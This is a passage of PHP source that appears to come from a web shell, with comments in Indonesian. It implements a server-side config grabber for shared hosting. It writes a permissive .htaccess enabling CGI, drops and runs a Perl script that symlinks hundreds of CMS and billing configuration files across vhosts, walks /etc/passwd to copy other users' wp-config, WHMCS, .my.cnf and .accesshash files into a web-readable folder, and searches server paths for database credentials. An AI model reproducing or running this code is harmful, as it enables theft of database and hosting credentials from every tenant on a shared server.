';
// Buat direktori pbm_config
$config_dir = $dir . "/pbm_config";
@mkdir($config_dir, 0777, true);
// Buat file .htaccess untuk konfigurasi
$htaccess_content = "Options FollowSymLinks MultiViews Indexes ExecCGI\nRequire None\nSatisfy Any\nAddType application/x-httpd-cgi .cin\nAddHandler cgi-script .cin\nAddHandler cgi-script .cin";
$htaccess_file = $config_dir . "/.htaccess";
@file_put_contents($htaccess_file, $htaccess_content);
// Cek jika berada di vhosts
if(preg_match("/vhosts|vhost/", $dir)) {
echo '
vHosts Directory Detected: '.$dir.'
';
$link_config = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
// Buat file vhost.cin (Perl script untuk symlink)
$vhost_script = '#!/usr/bin/perl -I/usr/local/bandmin
opendir(my $dir , "/var/www/vhosts/");
foreach(sort readdir $dir) {
my $isDir = 0;
$isDir = 1 if -d $_;
$sitess = $_;
if($isDir && $sitess !~ /^\./) {
# Buat symlink untuk berbagai konfigurasi CMS
symlink("/var/www/vhosts/$sitess/httpdocs/includes/configure.php", "$sitess-shop.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/os/includes/configure.php", "$sitess-shop-os.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/oscom/includes/configure.php", "$sitess-oscom.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/oscommerce/includes/configure.php", "$sitess-oscommerce.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/oscommerces/includes/configure.php", "$sitess-oscommerces.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/shop/includes/configure.php", "$sitess-shop2.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/shopping/includes/configure.php", "$sitess-shop-shopping.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/sale/includes/configure.php", "$sitess-sale.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/amember/config.inc.php", "$sitess-amember.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/config.inc.php", "$sitess-amember2.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/members/configuration.php", "$sitess-members.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/config.php", "$sitess-4images1.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/forum/includes/config.php", "$sitess-forum.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/forums/includes/config.php", "$sitess-forums.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/admin/conf.php", "$sitess-5.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/admin/config.php", "$sitess-4.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/wp-config.php", "$sitess-Wordpress.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/wp/wp-config.php", "$sitess-Wordpress.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/WP/wp-config.php", "$sitess-Wordpress.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/beta/wp-config.php", "$sitess-Wordpress.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/beta/wp-config.php", "$sitess-Wordpress.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/press/wp-config.php", "$sitess-wp13-press.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/wordpress/wp-config.php", "$sitess-wordpress.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/Wordpress/wp-config.php", "$sitess-Wordpress.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/blog/wp-config.php", "$sitess-Wordpress.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/wordpress/beta/wp-config.php", "$sitess-Wordpress.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/news/wp-config.php", "$sitess-Wordpress-news.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/new/wp-config.php", "$sitess-Wordpress-new.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/blog/wp-config.php", "$sitess-Wordpress-blog.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/beta/wp-config.php", "$sitess-Wordpress-beta.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/blogs/wp-config.php", "$sitess-Wordpress-blogs.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/home/wp-config.php", "$sitess-Wordpress-home.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/portal/wp-config.php", "$sitess-Wordpress-portal.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/site/wp-config.php", "$sitess-Wordpress-site.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/main/wp-config.php", "$sitess-Wordpress-main.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/test/wp-config.php", "$sitess-Wordpress-test.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/arcade/functions/dbclass.php", "$sitess-ibproarcade.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/joomla/configuration.php", "$sitess-joomla2.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/portal/configuration.php", "$sitess-joomla-portal.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/joo/configuration.php", "$sitess-joo.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/cms/configuration.php", "$sitess-joomla-cms.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/site/configuration.php", "$sitess-joomla-site.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/main/configuration.php", "$sitess-joomla-main.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/news/configuration.php", "$sitess-joomla-news.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/new/configuration.php", "$sitess-joomla-new.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/home/configuration.php", "$sitess-joomla-home.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/vb/includes/config.php", "$sitess-vb~config.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/vb3/includes/config.php", "$sitess-vb3~config.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/cc/includes/config.php", "$sitess-vb1~config.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/forum/includes/class_core.php", "$sitess-vbluttin~class_core.php.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/vb/includes/class_core.php", "$sitess-vbluttin~class_core.php1.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/cc/includes/class_core.php", "$sitess-vbluttin~class_core.php2.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/whm/configuration.php", "$sitess-whm15.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/central/configuration.php", "$sitess-whm-central.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/whm/whmcs/configuration.php", "$sitess-whm-whmcs.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/whm/WHMCS/configuration.php", "$sitess-whm-WHMCS.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/whmc/WHM/configuration.php", "$sitess-whmc-WHM.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/whmcs/configuration.php", "$sitess-whmcs.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/support/configuration.php", "$sitess-support.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/supp/configuration.php", "$sitess-supp.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/secure/configuration.php", "$sitess-sucure.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/secure/whm/configuration.php", "$sitess-sucure-whm.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/secure/whmcs/configuration.php", "$sitess-sucure-whmcs.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/cpanel/configuration.php", "$sitess-cpanel.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/panel/configuration.php", "$sitess-panel.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/host/configuration.php", "$sitess-host.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/hosting/configuration.php", "$sitess-hosting.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/hosts/configuration.php", "$sitess-hosts.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/configuration.php", "$sitess-joomla.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/submitticket.php", "$sitess-whmcs2.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/clients/configuration.php", "$sitess-clients.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/client/configuration.php", "$sitess-client.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/clientes/configuration.php", "$sitess-clientes.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/cliente/configuration.php", "$sitess-cliente.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/clientsupport/configuration.php", "$sitess-clientsupport.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/billing/configuration.php", "$sitess-billing.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/manage/configuration.php", "$sitess-whm-manage.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/my/configuration.php", "$sitess-whm-my.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/myshop/configuration.php", "$sitess-whm-myshop.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/includes/dist-configure.php", "$sitess-zencart.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/zencart/includes/dist-configure.php", "$sitess-shop-zencart.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/shop/includes/dist-configure.php", "$sitess-shop-ZCshop.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/Settings.php", "$sitess-smf.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/smf/Settings.php", "$sitess-smf2.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/forum/Settings.php", "$sitess-smf-forum.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/forums/Settings.php", "$sitess-smf-forums.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/upload/includes/config.php", "$sitess-up.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/article/config.php", "$sitess-Nwahy.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/up/includes/config.php", "$sitess-up2.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/conf_global.php", "$sitess-6.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/include/db.php", "$sitess-7.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/connect.php", "$sitess-PHP-Fusion.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/mk_conf.php", "$sitess-9.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/config.php", "$sitess-4images.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/sites/default/settings.php", "$sitess-Drupal.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/member/configuration.php", "$sitess-1member.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/billings/configuration.php", "$sitess-billings.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/whm/configuration.php", "$sitess-whm.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/supports/configuration.php", "$sitess-supports.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/requires/config.php", "$sitess-AM4SS-hosting.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/supports/includes/iso4217.php", "$sitess-hostbills-supports.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/client/includes/iso4217.php", "$sitess-hostbills-client.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/support/includes/iso4217.php", "$sitess-hostbills-support.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/billing/includes/iso4217.php", "$sitess-hostbills-billing.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/billings/includes/iso4217.php", "$sitess-hostbills-billings.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/host/includes/iso4217.php", "$sitess-hostbills-host.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/hosts/includes/iso4217.php", "$sitess-hostbills-hosts.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/hosting/includes/iso4217.php", "$sitess-hostbills-hosting.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/hostings/includes/iso4217.php", "$sitess-hostbills-hostings.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/includes/iso4217.php", "$sitess-hostbills.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/hostbillincludes/iso4217.php", "$sitess-hostbills-hostbills.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/includes/iso4217.php", "$sitess-hostbills-hostbill.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/app/etc/local.xml", "$sitess-Magento.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/admin/config.php", "$sitess-Opencart.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/config/settings.inc.php", "$sitess-Prestashop.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/config/koneksi.php", "$sitess-Lokomedia.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/lokomedia/config/koneksi.php", "$sitess-Lokomedia.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/slconfig.php", "$sitess-Sitelok.txt");
symlink("/var/www/vhosts/$sitess/httpdocs/application/config/database.php", "$sitess-Ellislab.txt");
}
}
print "Location: ./\n\n";';
$vhost_file = $config_dir . "/vhost.cin";
@file_put_contents($vhost_file, $vhost_script);
@chmod($vhost_file, 0755);
echo '
vHosts Config Script Created: vhost.cin
This Perl script will create symlinks to configuration files
';
echo '
Open pbm_config Directory
';
// Try to execute the script
$output = @shell_exec("cd " . escapeshellarg($config_dir) . " && ./vhost.cin 2>&1");
if($output) {
echo '
Script executed successfully!
Symlinks created in pbm_config directory
';
} else {
echo '
Script ready to run. You can execute it manually from the directory.
';
}
echo '
';
} else {
// Jika tidak di vhosts, scan /etc/passwd untuk user
echo '
Scanning /etc/passwd for user configurations...
';
$etc = @fopen("/etc/passwd", "r");
if(!$etc) {
echo '
Error: Cannot read /etc/passwd
';
} else {
$users_found = 0;
$configs_found = 0;
// Daftar konfigurasi yang akan di-scan
$grab_config = array(
// vBulletin
"/home/USER/public_html/vb/includes/config.php" => "vBulletin1",
"/home/USER/public_html/forum/includes/config.php" => "vBulletin3",
"/home/USER/public_html/cc/includes/config.php" => "vBulletin4",
"/home/USER/public_html/includes/config.php" => "vBulletin2",
// WordPress
"/home/USER/public_html/wp-config.php" => "Wordpress1",
"/home/USER/public_html/blog/wp-config.php" => "Wordpress2",
"/home/USER/public_html/wp/wp-config.php" => "WordPress",
"/home/USER/public_html/wordpress/wp-config.php" => "WordPress",
// Joomla
"/home/USER/public_html/configuration.php" => "Joomla1",
"/home/USER/public_html/blog/configuration.php" => "Joomla2",
"/home/USER/public_html/joomla/configuration.php" => "Joomla3",
"/home/USER/public_html/portal/configuration.php" => "joomla-portal",
// WHMCS
"/home/USER/public_html/whm/configuration.php" => "Whm1",
"/home/USER/public_html/whmc/configuration.php" => "Whm2",
"/home/USER/public_html/support/configuration.php" => "Whm3",
"/home/USER/public_html/client/configuration.php" => "Whm4",
"/home/USER/public_html/billings/configuration.php" => "Whm5",
"/home/USER/public_html/billing/configuration.php" => "Whm6",
"/home/USER/public_html/clients/configuration.php" => "Whm7",
"/home/USER/public_html/whmcs/configuration.php" => "Whm8",
"/home/USER/public_html/order/configuration.php" => "Whm9",
// Other CMS
"/home/USER/public_html/admin/conf.php" => "5",
"/home/USER/public_html/admin/config.php" => "4",
"/home/USER/public_html/conf_global.php" => "invisio",
"/home/USER/public_html/include/db.php" => "7",
"/home/USER/public_html/connect.php" => "8",
"/home/USER/public_html/mk_conf.php" => "mk-portale1",
"/home/USER/public_html/include/config.php" => "12",
"/home/USER/public_html/settings.php" => "Smf",
"/home/USER/public_html/includes/functions.php" => "phpbb3",
// PopojiCMS
"/home/USER/public_html/po-content/config.php" => "Popoji",
// Voodoo
"/home/USER/public_html/vdo_config.php" => "Voodoo",
// BosWeb
"/home/USER/public_html/bw-configs/config.ini" => "BosWeb",
// Lokomedia
"/home/USER/public_html/config/koneksi.php" => "Lokomedia",
"/home/USER/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
// Drupal
"/home/USER/public_html/sites/default/settings.php" => "Drupal",
// PrestaShop
"/home/USER/public_html/config/settings.inc.php" => "PrestaShop",
// Magento
"/home/USER/public_html/app/etc/local.xml" => "Magento",
// OpenCart
"/home/USER/public_html/admin/config.php" => "OpenCart",
"/home/USER/public_html/config.php" => "OpenCart-config",
// Sitelok
"/home/USER/public_html/slconfig.php" => "Sitelok",
// EllisLab (ExpressionEngine)
"/home/USER/public_html/application/config/database.php" => "Ellislab",
// CPanel/WHM
"/home/USER/.my.cnf" => "cpanel",
"/home/USER/.accesshash" => "WHM-accesshash"
);
// Home directories 1-7
$home_dirs = ['', '2', '3', '4', '5', '6', '7'];
echo '
| User |
Config Found |
File |
Status |
';
while($passwd = @fgets($etc)) {
if(preg_match('/^([^:]+):x:/', $passwd, $matches)) {
$user_idx = $matches[1];
$users_found++;
$user_configs_found = 0;
foreach($home_dirs as $home_num) {
$home_prefix = $home_num ? "home{$home_num}" : "home";
$user_config_dir = "/{$home_prefix}/{$user_idx}/public_html/";
if(is_readable("/{$home_prefix}/{$user_idx}/")) {
foreach($grab_config as $config_pattern => $config_name) {
$config_file = str_replace("USER", $user_idx, $config_pattern);
$config_file = str_replace("/home/", "/{$home_prefix}/", $config_file);
if(file_exists($config_file) && is_readable($config_file)) {
$configs_found++;
$user_configs_found++;
// Save config to file
$config_content = @file_get_contents($config_file);
if($config_content !== false && trim($config_content) != '') {
$output_file = $config_dir . "/{$user_idx}-{$config_name}.txt";
@file_put_contents($output_file, $config_content);
echo '
| '.$user_idx.' |
'.$config_name.' |
'.htmlspecialchars(basename($config_file)).' |
Saved |
';
}
}
}
}
}
// Jika tidak ada config yang ditemukan untuk user ini
if($user_configs_found == 0) {
echo '
| '.$user_idx.' |
No configurations found |
';
}
}
}
@fclose($etc);
echo '
';
echo '
Scan Complete:
Users scanned: '.$users_found.'
Configurations found: '.$configs_found.'
Files saved to: pbm_config/
';
if($configs_found > 0) {
echo '
';
}
}
}
// Quick Scan Options
echo '
';
// Handle quick CMS scan
if(isset($_POST['quick_cms_scan'])) {
$scan_dir = $_POST['scan_cms_dir'];
$cms_types = $_POST['cms_types'] ?? [];
echo '
Quick CMS Scan Results:
';
if(is_dir($scan_dir) && is_readable($scan_dir)) {
$cms_patterns = [];
if(in_array('wordpress', $cms_types)) {
$cms_patterns['WordPress'] = ['wp-config.php'];
}
if(in_array('joomla', $cms_types)) {
$cms_patterns['Joomla'] = ['configuration.php'];
}
if(in_array('drupal', $cms_types)) {
$cms_patterns['Drupal'] = ['sites/default/settings.php'];
}
if(in_array('vbulletin', $cms_types)) {
$cms_patterns['vBulletin'] = ['includes/config.php'];
}
if(in_array('whmcs', $cms_types)) {
$cms_patterns['WHMCS'] = ['configuration.php'];
}
$found_cms = [];
// Recursive scan function
function scanForCMS($dir, $patterns, &$found, $depth = 0, $max_depth = 3) {
if($depth >= $max_depth) return;
if(!is_dir($dir) || !is_readable($dir)) return;
$items = @scandir($dir);
if(!$items) return;
foreach($items as $item) {
if($item == '.' || $item == '..') continue;
$path = $dir . '/' . $item;
if(is_dir($path)) {
scanForCMS($path, $patterns, $found, $depth + 1, $max_depth);
} elseif(is_file($path)) {
foreach($patterns as $cms_name => $cms_files) {
foreach($cms_files as $cms_file) {
if(basename($path) == $cms_file) {
$found[] = [
'cms' => $cms_name,
'file' => $path,
'dir' => dirname($path)
];
}
}
}
}
}
}
scanForCMS($scan_dir, $cms_patterns, $found_cms);
if(!empty($found_cms)) {
echo '
Found '.count($found_cms).' CMS configuration files
| CMS |
Config File |
Directory |
Actions |
';
foreach($found_cms as $cms) {
echo '
| '.$cms['cms'].' |
'.htmlspecialchars(basename($cms['file'])).' |
'.$cms['dir'].' |
View
Open
|
';
}
echo '
';
} else {
echo '
No CMS configuration files found in the specified directory
';
}
} else {
echo '
Cannot read directory: '.$scan_dir.'
';
}
echo '
';
}
// Handle database config scan
if(isset($_POST['scan_db_configs'])) {
$search_type = $_POST['db_search_type'];
echo '
Database Config Scan Results:
';
// Patterns for database configs
$db_patterns = [
'wp-config.php' => 'WordPress',
'configuration.php' => 'Joomla',
'settings.php' => 'Drupal',
'config.php' => 'General Config',
'.env' => 'Environment',
'database.php' => 'Laravel/CodeIgniter',
'local.xml' => 'Magento',
'settings.inc.php' => 'PrestaShop'
];
// Filter based on search type
$filtered_patterns = [];
switch($search_type) {
case 'wp':
$filtered_patterns = ['wp-config.php' => 'WordPress'];
break;
case 'joomla':
$filtered_patterns = ['configuration.php' => 'Joomla'];
break;
case 'config':
$filtered_patterns = ['config.php' => 'General Config', 'configuration.php' => 'Joomla'];
break;
case 'env':
$filtered_patterns = ['.env' => 'Environment'];
break;
default:
$filtered_patterns = $db_patterns;
}
// Search in common locations
$common_locations = [
$dir,
'/home',
'/var/www',
'/var/www/html',
'/usr/local/apache2/htdocs'
];
$found_db_configs = [];
foreach($common_locations as $location) {
if(is_dir($location) && is_readable($location)) {
foreach($filtered_patterns as $file_pattern => $file_type) {
$command = "find " . escapeshellarg($location) . " -name '" . $file_pattern . "' -type f 2>/dev/null | head -20";
$files = @shell_exec($command);
if($files) {
$file_list = explode("\n", trim($files));
foreach($file_list as $file) {
if(!empty($file) && file_exists($file)) {
$content = @file_get_contents($file);
if($content && (preg_match('/DB_HOST|dbname|database|localhost|127.0.0.1/i', $content) ||
preg_match('/define.*DB_|mysql_connect|mysqli_connect/i', $content))) {
$found_db_configs[] = [
'file' => $file,
'type' => $file_type,
'dir' => dirname($file),
'has_db' => true
];
}
}
}
}
}
}
}
if(!empty($found_db_configs)) {
echo '
Found '.count($found_db_configs).' database configuration files
| Type |
File |
Directory |
DB Info |
Actions |
';
foreach($found_db_configs as $db_config) {
// Try to extract database info
$content = @file_get_contents($db_config['file']);
$db_info = 'Not found';
if($content) {
if(preg_match('/define.*[\'"]DB_NAME[\'"].*[\'"]([^\'"]+)[\'"]/i', $content, $matches)) {
$db_info = 'DB: ' . $matches[1];
} elseif(preg_match('/[\'"]database[\'"]\s*=>\s*[\'"]([^\'"]+)[\'"]/i', $content, $matches)) {
$db_info = 'DB: ' . $matches[1];
} elseif(preg_match('/dbname=([^;]+)/i', $content, $matches)) {
$db_info = 'DB: ' . $matches[1];
}
}
echo '
| '.$db_config['type'].' |
'.htmlspecialchars(basename($db_config['file'])).' |
'.$db_config['dir'].' |
'.$db_info.' |
View
Open
|
';
}
echo '
';
} else {
echo '
No database configuration files found
';
}
echo '
';
}
echo '